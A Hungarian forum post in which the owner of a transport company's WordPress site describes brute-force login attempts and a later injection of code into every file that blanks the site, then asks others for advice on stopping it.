Sziasztok!
Van egy kisebb problémám, amin már nem tudok úrrá lenni.
Van egy weboldalam, melyet folyamatosan próbálnak valamilyen úton-módon használhatatlanná tenni (ez egy közlekedési cég honlapja, szóval semmi extra):
Kezdetben az admin felületre próbáltak rendszeresen bejutni, ezért feltelepítettem a Wordfence plugint, azonban annyi IP-ről érkezett belépési kísérlet (a végén már az admin felhasználónevet is megtudták valahogy), hogy már “vártam a napot”, hogy mikor jutnak be. Erre további lépésként alkalmaztam a “Captha on login” nevű plugint, mellyel így sikerült orvosolni a problémát. 1 hónapig így nyugi volt, azonban most újabb támadássorozatot kaptunk:
Az összes fájl (kivétel nélkül) első sorába bekerült egy ilyen kód:

Ennek eredménye, hogy egy nagy fehér üres oldal kapok az összes létező oldalon, még az admin felületen is (meglestem abban az állapotban a böngészőben az index.php forrását, mely egy deka sort sem tartalmazott).<br />
<br />
<br />
Ez a mizéria már péntek óta tart. Azóta minden nap arra kelek, hogy a weboldal nem elérhető és állítom vissza a biztonsági mentést és változtatom meg az FTP jelszót.<br />
<br />
<br />
Valakinek van valami ötlete, hogy mit lehetne ezzel tenni? Mert én már teljesen tanácstalan vagyok :(<br />
